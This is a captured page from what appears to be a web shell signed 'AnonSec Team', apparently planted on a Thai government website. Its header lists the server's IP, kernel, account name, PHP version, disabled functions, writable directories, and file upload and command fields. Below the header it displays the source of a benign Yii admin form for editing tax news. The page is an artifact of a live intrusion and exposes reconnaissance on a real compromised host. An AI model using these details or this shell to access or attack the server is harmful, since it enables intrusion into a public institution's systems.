NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.217.35.130
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/private_html/backup/protected/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/private_html/backup/protected/views/admin/newsTaxEdit.php
<div class="row-fluid formview-header-bar">
    <div class="span12">
        <ul class="breadcrumb">
            <li><a href="<?php echo Yii::app()->controller->createUrl('MainBackend'); ?>">หน้าหลัก</a> <span class="divider">/</span></li>
            <li><a href="<?php echo Yii::app()->controller->createUrl('NewsTaxMain'); ?>">ข่าวภาษี</a> <span class="divider">/</span></li>
            <li class="active">แก้ไขข้อมูล ข่าวภาษี</li>
        </ul>
    </div>
</div>

<div class="row-fluid">
    <div class="span12">
        
        <?php $this->widget('bootstrap.widgets.TbAlert', array(
            'fade' => true,
            'closeText' => '&times;',
            'alerts'=>array(
                'success'=>array('block'=>true),
        ))); ?>
        
        <div class="row-fluid ">
            <div class="span12 formview-manage-file">
                <span class="formview-manage-file-text">ส่วนจัดการ</span>
                <a class="btn" href="<?php echo Yii::app()->controller->createUrl('NewsTaxMainFile', array('id' => $model->id)); ?>">
                    <i class="icon-file"></i>
                    <span>จัดการข้อมูลไฟล์</span></a>
            </div>
        </div>
        <hr />
        
        <?php $form = $this->beginWidget('CActiveForm', array(
            'id' => 'form',
            'enableAjaxValidation' => true,
            'clientOptions' => array(
                'validateOnSubmit' => true,
                'validateOnChange' => true,
            ),
        )); ?>
        <?php echo $form->hiddenField($model, 'id'); ?>
        <table class="tableForm">
            <tr>
                <td class="tableFormRight" width="130"><?php echo $form->labelEx($model, 'news_title'); ?></td>
                <td>
                    <?php
                    echo $form->TextField($model, 'news_title', array('class'=>'span6', 'placeholder'=>'พิมพ์หัวข้อที่ต้องการ..'));
                    echo $form->error($model, 'news_title');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'news_date_true'); ?></td>
                <td>
                    <?php $this->widget('zii.widgets.jui.CJuiDatePicker',array(
                            'model' => $model,
                            'attribute' => 'news_date_true',
                            'language' => 'th',
                        
                            'options'=>array(
                                'duration' => 'fast', // 'slow', 'normal', 'fast'
                                
                                'dateFormat'=>'dd-mm-yy', // รูปแบบวันที่
                                'yearRange' => '-5:+5', // ระยะปีเก่าจากปัจจุบัน : ระยะปีอนาคตจากปัจจุบัน
                                'changeYear' => 'true', // แสดง Dropdown เลือกปี
                                'changeMonth' => 'true', // แสดง Dropdown เลือกเดือน
                            ),
                        
                            'htmlOptions'=>array(
                                'placeholder' => 'เลือกวันที่',
                            ),
                    )); ?>
                    <?php echo $form->error($model, 'news_date_true'); ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'news_detail'); ?></td>
                <td>
                    <?php $this->widget('application.extensions.eckeditor.ECKEditor', array(
                        'model' => $model,
                        'attribute' => 'news_detail',
                        'config' => array(
                            'toolbar' => array(
                                array('RemoveFormat', '-', 'JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock'),
                                array('Bold', 'Italic', 'Underline', 'NumberedList', 'BulletedList', 'Outdent', 'Indent', 'SpecialChar'),
                                array('Font', 'Format', 'FontSize', 'TextColor', '-', 'Source', 'Preview'),
                            )
                        ),
                    )); ?>
                    <?php echo $form->error($model, 'news_detail'); ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'news_status'); ?></td>
                <td>
                    <?php 
                    echo $form->dropdownlist($model, 'news_status', OtherFunction::status());
                    echo $form->error($model, 'news_status');
                    ?>
                </td>
            </tr>
            <tr>
                <td></td>
                <td>
                    <?php echo CHtml::submitButton('ตกลง', array('class'=>'btn btn-primary')); ?>
                </td>
            </tr>
        </table>
        <?php $this->endWidget(); ?>
        
    </div>
</div>

Anon7 - 2022
AnonSec Team